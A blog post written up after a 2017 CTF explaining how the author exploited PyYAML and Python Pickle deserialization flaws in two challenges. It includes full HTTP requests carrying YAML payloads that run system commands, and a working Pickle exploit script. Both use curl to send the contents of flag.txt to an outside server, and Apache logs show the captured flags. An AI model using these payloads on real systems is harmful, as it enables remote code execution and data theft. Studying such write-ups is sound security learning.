Over the weekend, I had a chance to participate in the ToorConCTF (https://twitter.com/toorconctf) which gave me my first experience with serialization flaws in Python. Two of the challenges we solved included Python libraries that appeared to be accepting serialized objects and ended up being vulnerable to Remote Code Execution (RCE). Since I struggled a bit to find reference material online on the subject, I decided to make a blog post documenting my discoveries, exploit code and solutions. In this blog post, I will cover how to exploit deserialization vulnerabilities in the PyYAML (a Python YAML library) and Python Pickle libraries (a Python serialization library). Let’s get started!

Background

Before diving into the challenges, it’s probably important to start with the basics. If you are unfamilliar with deserialization vulnerabilities, the following exert from @breenmachine at Fox Glove Security (https://foxglovesecurity.com) probably explains it the best.

“Unserialize vulnerabilities are a vulnerability class. Most programming languages provide built-in ways for users to output application data to disk or stream it over the network. The process of converting application data to another format (usually binary) suitable for transportation is called serialization. The process of reading data back in after it has been serialized is called unserialization. Vulnerabilities arise when developers write code that accepts serialized data from users and attempt to unserialize it for use in the program. Depending on the language, this can lead to all sorts of consequences, but most interesting, and the one we will talk about here is remote code execution.”

PyYAML Deserialization Remote Code Execution

In the first challenge, we were presented with a URL to a web page which included a YAML document upload form. After Googling for YAML document examples, I crafted the following YAML file and proceeded to upload it to get a feel for the functionality of the form.

HTTP Request

POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 857

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
# A list of global configuration variables
# # Uncomment lines as needed to edit default settings.
# # Note this only works for settings with default values. Some commands like --rerun <module>
# # or --force-ccd n will have to be set in the command line (if you need to)
#
# # This line is really important to set up properly
# project_path: '/home/user'
#
# # The rest of the settings will default to the values set unless you uncomment and change them
# #resize_to: 2048
'test'
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--

HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Sun, 03 Sep 2017 02:50:16 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2213
Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/

<!-- begin message block -->
<div class="container flashed-messages">
  <div class="row">
    <div class="col-md-12">
      <div class="alert alert-info" role="alert">

        test.yaml is valid YAML
      </div>
    </div>
  </div>
</div>
<!-- end message block -->

    </div>

</div>

  <div class="container main" >
    <div class="row">
        <div class="col-md-12 main">
            
  <code></code>

As you can see, the document was uploaded successfully but only displayed whether the upload was a valid YAML document or not. At this point, I wasn’t sure exactly what I was supposed to do, but after looking more closely at the response, I noticed that the server was running gunicorn/19.7.1…

A quick search for gunicorn revealed that it is a Python web server which lead me to believe the YAML parser was in fact a Python library. From here, I decided to search for Python YAML vulnerabilities and discovered a few blog posts referencing PyYAML deserialization flaws. It was here that I came across the following exploit code for exploiting PyYAML deserialization vulnerabilities. The important thing here is the following code which runs the ‘ls’ command if the application is vulnerable to PyYaml deserialization:

!!map {
  ? !!str "goodbye"
  : !!python/object/apply:subprocess.check_output [
    !!str "ls",
  ],
}

Going blind into the exploitation phase, I decided to give it a try and inject the payload into the document contents being uploaded using Burpsuite…

HTTP Request

POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 445

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
!!map {
  ? !!str "goodbye"
  : !!python/object/apply:subprocess.check_output [
    !!str "ls",
  ],
}

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--

<ul><li><code>goodbye</code> : <code>Dockerfile
README.md
app.py
app.pyc
bin
boot
dev
docker-compose.yml
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
requirements.txt
root
run
sbin
srv
static
sys
templates
test.py
tmp
usr
var
</code></li></ul>

As you can see, the payload worked and we now have code execution on the target server! Now, all we need to do is read the flag.txt…

I quickly discovered a limitaton of the above method was strictly limited to single commands (ie. ls, whoami, etc.) which meant there was no way to read the flag using this method. I then discovered that the os.system Python call could also be to achieve RCE and was capable of running multiple commands inline. However, I was quickly disasspointed after trying this and seeing that the result just returned “0” and I could not see my command output. After struggling to find the solution, my teamate @n0j pointed out that the os.system [“command_here” ] only returns a “0” exit code if the command is successful and is blind due to how Python handles sub process execution. It was here that I tried injecting the following command to read the flag: curl https://xerosecurity.com/?`cat flag.txt`

HTTP Request

POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 438

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
"goodbye": !!python/object/apply:os.system ["curl https://xerosecurity.com/?`cat flag.txt`"]

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--


</div>

  <div class="container main" >
    <div class="row">
        <div class="col-md-12 main">
            
  <ul><li><code>goodbye</code> : <code>0</code></li></ul>
            
        </div>
    </div>
  </div>

After much trial and error, the flag was ours along with 250pts in the CTF!

Remote Apache Logs

34.214.16.74 - - [02/Sep/2017:21:12:11 -0700] "GET /?ItsCaptainCrunchThatsZeldasFavorite HTTP/1.1" 200 1937 "-" "curl/7.38.0"

Python Pickle Deserialization

In the next CTF challenge, we were provided a host and port to connect to (ganon.39586ebba722e94b.ctf.land:8000). After initial connection however, no noticable output was displayed so I proceeded to fuzz the open port with random characters and HTTP requests to see what happened. It wasn’t until I tried injecting a single “‘” charecter that I received the error below:

# nc -v ganon.39586ebba722e94b.ctf.land 8000
ec2-34-214-16-74.us-west-2.compute.amazonaws.com [34.214.16.74] 8000 (?) open
cexceptions
AttributeError
p0
(S"Unpickler instance has no attribute 'persistent_load'"
p1
tp2
Rp3
.

The thing that stood out most was the (S”Unpickler instance has no attribute ‘persistent_load'” portion of the output. I immediately searched Google for the error which revealed several references to Python’s serialization library called “Pickle”.

It soon became clear that this was likely another Python deserialization flaw in order to obtain the flag. I then searched Google for “Python Pickle deserialization exploits” and discovered a similar PoC to the code below. After tinkering with the code a bit, I had a working exploit that would send Pickle serialized objects to the target server with the commands of my choice.

Exploit Code

#!/usr/bin/python
# Python Pickle De-serialization Exploit by [email protected] - https://xerosecurity.com
#

import os
import cPickle
import socket
import os

# Exploit that we want the target to unpickle
class Exploit(object):
    def __reduce__(self):
        # Note: this will only list files in your directory.
        # It is a proof of concept.
        return (os.system, ('curl https://xerosecurity.com/.injectx/rce.txt?`cat flag.txt`',))

def serialize_exploit():
    shellcode = cPickle.dumps(Exploit())
    return shellcode

def insecure_deserialize(exploit_code):
    cPickle.loads(exploit_code)

if __name__ == '__main__':
    shellcode = serialize_exploit()
    print shellcode

    soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    soc.connect(("ganon.39586ebba722e94b.ctf.land", 8000))
    print soc.recv(1024)

    soc.send(shellcode)
    print soc.recv(1024)
    soc.close()

Exploit PoC

# python python_pickle_poc.py
cposix
system
p1
(S"curl https://xerosecurity.com/rce.txt?`cat flag.txt`"
p2
tp3
Rp4
.

Much to my surprise, this worked and I could see the contents of the flag in my Apache logs!

Remote Apache Logs

34.214.16.74 - - [03/Sep/2017:11:15:02 -0700] "GET /rce.txt?UsuallyLinkPrefersFrostedFlakes HTTP/1.1" 404 2102 "-" "curl/7.38.0"

Conclusion

So there you have it. Two practicle examples of Python serialization which can be used to obtain Remote Code Execution (RCE) in remote applications. I had a lot of fun competing in the CTF and learned a lot in the process, but due to other obligations time constraints I wasn’t able to put my entire focus into the CTF. In the end, our team “SavageSubmarine” placed 7th overall. Till next time…

-1N3